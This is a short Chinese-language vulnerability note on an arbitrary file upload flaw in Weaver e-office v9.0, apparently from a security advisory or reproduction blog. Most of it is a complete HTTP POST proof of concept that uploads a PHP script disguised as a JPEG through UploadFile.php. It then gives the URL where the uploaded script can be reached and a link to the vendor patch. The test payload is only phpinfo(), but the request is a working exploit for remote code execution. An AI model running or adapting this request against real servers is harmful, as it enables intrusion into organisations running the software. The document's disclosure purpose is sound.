0x00? 漏洞介绍
泛微e-office是泛微旗下的一款标准协同移动办公平台。主要面向中小企业。该漏洞是由于 e-office 未能正确处理上传模块中用户输入导致的，攻击者可以构造恶意的上传数据包，实现任意代码执行。
0x01? 漏洞版本
泛微 e-office v9.0
0x02? 漏洞复现
poc如下
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 127.0.0.1:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 333
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo(); ?>
--e64bdf16c554bbc109cecef6451c26a4--访问位置如下
http://ip:port/images/logo/logo-eoffice.php
访问后缀名同filename后缀名
0x03 漏洞修复?
厂商已经提供漏洞修复补丁
http://v10.e-office.cn/eoffice9update/safepack.zip?
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